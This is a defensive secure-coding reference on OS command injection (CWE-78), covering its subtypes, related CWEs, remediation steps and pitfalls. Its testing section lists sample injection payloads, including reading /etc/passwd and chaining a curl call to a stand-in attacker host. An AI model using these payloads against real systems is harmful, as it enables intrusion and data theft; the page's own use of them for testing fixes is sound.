CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Overview
OS command injection happens when untrusted data decides what the operating system executes. MITRE describes two subtypes, and only the first one needs a shell:
- The program is fixed and the attacker supplies its arguments. A call such as
system("nslookup " + hostname)hands the whole line to a shell. A separator insidehostnameends thenslookupcommand and starts one the attacker wrote. - The attacker chooses which program runs. The application passes an externally-influenced value as the executable itself. MITRE's wording is explicit that this stays CWE-78 with no shell in the path: "If the command is being executed using functions like
exec()andCreateProcess(), the attacker might not be able to combine multiple commands together in the same line." Chaining is the only thing the missing shell costs them - they still run a program of their choosing with the application's privileges.
A shell is the common case, not the defining one. If untrusted input reaches the operating system as a command or as the name of a program to run, this is the page, whether or not anything parses metacharacters.
Relationship to Other CWEs
- CWE-77 (Command Injection) - The parent. It is the same weakness with the interpreter left open: the command language need not be the operating system's, and its other children cover expression languages, LLM prompts, and regular expressions that can execute code (CWE-624). Use CWE-77 when the sink is a non-OS command language - a cache or directory server's wire protocol, an expression evaluator - or when a tool reports CWE-77 without naming the sink at all.
- CWE-78 (this page) - The child that scopes CWE-77 to operating-system commands, and the mapping MITRE prefers whenever the sink is one. MITRE's own guidance notes that CWE-77 "is often misused when OS command injection (CWE-78) was intended instead", so a CWE-77 finding that ends at a process launch belongs here.
- CWE-88 (Argument Injection) - A sibling - another child of CWE-77 - for injecting flags or options into a command whose program the attacker cannot change. It survives the array-form fix that closes CWE-78, because an argument beginning with
-is delivered faithfully and read as an option.
The sink API does not decide which of the three applies; what the attacker controls does. ProcessBuilder, subprocess.run() and Process.Start() appear in examples of all three. Ask what the untrusted value reaches: the structure of a command a shell will parse, or the name of the program, is CWE-78; an argument passed to a program the attacker cannot change is CWE-88; an interpreter that is not the operating system is CWE-77.
OWASP Classification
A05:2025 - Injection
Risk
Critical: A successful injection runs arbitrary commands on the host with the application's OS privileges. Whatever that account can read, write or reach is available to the attacker. Least privilege bounds that reach; it does not close the injection.
Remediation Steps
Core Principle: Untrusted input must decide neither which program runs nor the structure of the command that runs it. Eliminate shell execution, pass arguments as discrete elements, and resolve the executable from a fixed set the caller controls.
Trace the Data Path
Follow the untrusted data from where it enters to the command execution:
- Source: user input, an external file, a database, a network request
- Sink: The system execution function, such as
exec(),system()orRuntime.exec() - What the value becomes at the sink: the executable, one whole argument, part of an argument, or the entire command line. This is the question that decides both the fix and the mapping - an attacker-chosen executable is not closed by anything that only stops metacharacters.
- Validation gaps: Each step between source and sink where the value should have been checked and was not
Eliminate System Calls (Preferred)
The safest fix is not to run system commands at all. Replace them with native language APIs:
- File operations: Use language-native file I/O APIs instead of shell commands
- Network operations: Use HTTP or socket libraries instead of
curlorwget - Process management: Use language process/threading APIs instead of shell scripts
Use Parameterized Execution
If system commands are unavoidable, use APIs that separate commands from arguments:
- Never concatenate untrusted data into command strings
- Use argument arrays, where the command and each parameter are separate elements
- Do not invoke a shell: avoid
sh -c,cmd /c,shell=Trueand their equivalents - Treat a Windows
.bat/.cmdtarget as a shell. Windows has no argv array at the system-call level, andcmd.exeparses the command line for a batch file, so an argument array is not enough when the program you launch is one. Runtimes differ on this: Node.js and PHP shipped fixes in 2024 (CVE-2024-27980, CVE-2024-1874), while Java, .NET, Go and Python leave it to the caller. Call the executable the batch file wraps instead. - The language-specific guidance below names the safe API in each runtime
Resolve the Executable Yourself
Parameterized execution keeps an untrusted argument from becoming syntax. It does nothing when the untrusted value is the program name, which is MITRE's second subtype and the case an argument array is most often mistaken for a fix:
- Map an incoming identifier to a program through a fixed table the application owns -
{"ping": "/usr/bin/ping", "dig": "/usr/bin/dig"}- and reject anything not in it. Never pass the caller's string through as the executable. - Store the mapped values as absolute paths. A bare program name is resolved against
PATH, and on Windows the working directory is searched as well, with no shell involved: measured on Windows 11, Python, Node.js, PHP, Java and .NET all ran a bare name from the working directory, and only Go refused. Whoever can setPATH, or write to a directory the search visits, picks the binary. For a program name the code hardcodes this is CWE-426 or CWE-427 rather than this page, and the language pages below write names bare for readability - pin the absolute path in production. SettingNoDefaultCurrentDirectoryInExePath=1in the service's environment switches the working-directory search off in all five runtimes above. - Prefer allowing a fixed set of complete invocations over allowing a program and validating its arguments separately. A permitted program that itself takes a path, a URL or a script argument hands the problem one level down.
- Watch for programs that run other programs:
find -exec,ssh -o ProxyCommand,git -c core.sshCommand,tar --to-command, and any interpreter (python,perl,sh) whose argument is code by definition.
Add Input Validation (Defense in Depth)
Even with parameterized execution, validate all untrusted data:
- Allowlist permitted characters, alphanumeric only if possible
- A strict allowlist rejects shell metacharacters by construction: semicolons, pipes, ampersands, redirection characters, command substitution syntax, newlines, and parentheses
- Validate the format against the expected pattern, such as a filename or an IP address
- Use absolute paths to prevent directory traversal
Apply Least Privilege
Bound what an attacker reaches if an injection succeeds:
- Run the application with minimal OS permissions
- Use sandboxing or containerization to isolate processes
- Do not run as root or administrator unless there is no alternative
Test with Malicious Inputs
Verify the fix with command injection payloads:
; lsor; dir(command chaining)| cat /etc/passwdor| type C:\Windows\win.ini(piping)$(whoami)or`whoami`(command substitution)&& curl attacker.com(conditional execution)
Those four all target a shell, so a fix that removed the shell passes every one of them while leaving the second subtype wide open. Where any part of the executable is influenced by input, test that separately:
- A program name that is not in the allowlist -
whoami,curl,/bin/sh- is rejected rather than run. - A relative name such as
pingresolves to the allowlisted absolute path, not to a binary earlier onPATH, and not to one in the working directory on Windows. - An argument beginning with
-is rejected or arrives as a literal value, which covers the CWE-88 half that survives the array-form fix. - A legitimate value still works. A control that rejects everything passes every assertion above.
Common Pitfalls
- Swapping the API but keeping the shell: Replacing a legacy call like
system()oros.system()with a "modern" execution API (subprocess.run(),ProcessBuilder,child_process.execFile()) while still passingshell=true/shell=Trueor explicitly invokingsh -c/cmd /c- The function name changed, but the shell still parses the argument string for metacharacters, so the injection point is unchanged. - Denylisting a handful of metacharacters: Rejecting input containing
;,|, or&and considering the input safe - Shells recognize many other operators (backticks,$(), newlines,&&,||, redirection, and platform-specific tokens like%VAR%on Windows), and a denylist that misses even one still allows injection. - Escaping instead of eliminating the shell: Wrapping user input in a hand-written quoting function before concatenating it into a command string - Manual escaping has to anticipate every parsing rule of the target shell and platform; one missed edge case (nested quotes, trailing backslashes, encoding differences) reopens the vulnerability that parameterized execution would have closed.
- Validating at the wrong layer: Checking that user input matches an expected format (such as an IP address) at the point it enters the application, then passing it through several layers of formatting or template substitution before it reaches the actual command execution - If a later layer reconstructs the command as a single string, the earlier validation no longer guarantees what actually reaches the shell.
- Moving to an argument array while the executable stays attacker-chosen:
ProcessBuilder(userCommand, "--flag", value)orsubprocess.run([user_command, value])- The array form is doing exactly what it promises: no shell, no metacharacter parsing, every element delivered intact. It just has nothing to say about element zero. The reviewer sees the shape that usually means "fixed" and stops reading, and the finding stays open in its most direct form.
Considerations
The first question is whether a subprocess is needed at all. Most findings of this kind are a shell call standing in for a library the platform already ships - fetching a URL, unpacking an archive, resizing an image. Replacing the call removes the weakness rather than containing it, and usually removes error handling and portability problems with it. That is a rewrite, so weigh it against hardening the existing call; but a hardened subprocess still runs another program with your privileges, and the library does not.
Timeouts in the examples are placeholders for a decision you have to make. A subprocess with no bound can hang a request thread indefinitely, so one is needed - but the right value comes from what the command legitimately does. Too short and normal work fails under load; too long and an attacker who can influence the input has a cheap way to exhaust your workers. Bound the output as well as the time: a command that returns unbounded data to an in-memory buffer is a denial of service whether or not the arguments were validated.
An allowlist is only as good as its most permissive entry. Restricting which command may run is worth doing, but a permitted command that itself takes a path, a URL, or a format string moves the problem one level down rather than solving it. Prefer allowing a fixed set of complete invocations over allowing a program and validating its arguments separately.
Language-Specific Guidance
Concrete APIs and framework patterns for each runtime:
- C# - ProcessStartInfo with ArgumentList instead of a concatenated command line
- Go - os/exec with argument arrays, avoiding shell execution
- Java - ProcessBuilder, Runtime.exec() with argument arrays
- JavaScript - child_process spawn/execFile without shell
- PHP - proc_open with an argument array; escapeshellarg only where legacy code cannot avoid the shell
- Python - subprocess with an argument list, and native-library replacements for os.system